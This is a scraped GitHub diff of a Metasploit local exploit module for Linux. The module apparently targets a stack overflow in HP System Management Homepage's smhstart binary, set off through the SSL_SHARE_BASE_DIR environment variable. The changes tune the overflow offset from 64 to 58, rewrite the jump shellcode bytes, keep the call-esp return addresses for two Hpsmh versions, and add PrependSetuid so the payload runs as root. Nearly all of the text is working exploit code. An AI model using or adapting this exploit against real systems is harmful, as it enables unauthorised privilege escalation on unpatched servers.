File tree Expand file tree Collapse file tree 1 file changed +9
-5
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 1 file changed +9
-5
lines changed Original file line number Diff line number Diff line change @@ -41,7 +41,7 @@ def initialize(info={})
41
41
] ,
42
42
'Platform' => [ 'linux' ] ,
43
43
'Arch' => [ ARCH_X86 ] ,
44
- 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
44
+ 'SessionTypes' => [ 'shell' ] ,
45
45
'Payload' =>
46
46
{
47
47
'Space' => 227 ,
@@ -57,17 +57,21 @@ def initialize(info={})
57
57
{
58
58
'Arch' => ARCH_X86 ,
59
59
'CallEsp' => 0x080c86eb , #call esp
60
- 'Offset' => 64
60
+ 'Offset' => 58
61
61
}
62
62
] ,
63
63
[ 'Hpsmh 7.1.2' ,
64
64
{
65
65
'Arch' => ARCH_X86 ,
66
66
'CallEsp' => 0x080c8b9b , #call esp
67
- 'Offset' => 64
67
+ 'Offset' => 58
68
68
}
69
69
] ,
70
70
] ,
71
+ 'DefaultOptions' =>
72
+ {
73
+ 'PrependSetuid' => true
74
+ } ,
71
75
'DefaultTarget' => 0 ,
72
76
'DisclosureDate' => "Mar 30 2013" ,
73
77
}
@@ -81,9 +85,9 @@ def exploit
81
85
pl = payload . encoded
82
86
padding = rand_text_alpha ( target [ 'Offset' ] )
83
87
ret = [ target [ 'CallEsp' ] ] . pack ( 'V' )
84
- exploit = Rex ::Text . encode_base64 ( "#{ pl } #{ ret } \xe8 \x14 \xff \xff \xff #{ padding } " )
88
+ exploit = Rex ::Text . encode_base64 ( "#{ pl } #{ ret } \x81 \xc4 \x11 \xff \xff \xff \xe9 \x0e \xff \xff \xff #{ padding } " )
85
89
cmd_exec ( "export SSL_SHARE_BASE_DIR=$(echo -n '#{ exploit } ' | base64 -d)" )
86
- puts cmd_exec ( "#{ datastore [ 'smhstartDir' ] } /smhstart" )
90
+ cmd_exec ( "#{ datastore [ 'smhstartDir' ] } /smhstart" )
87
91
end
88
92
89
93
end
You can’t perform that action at this time.
0 commit comments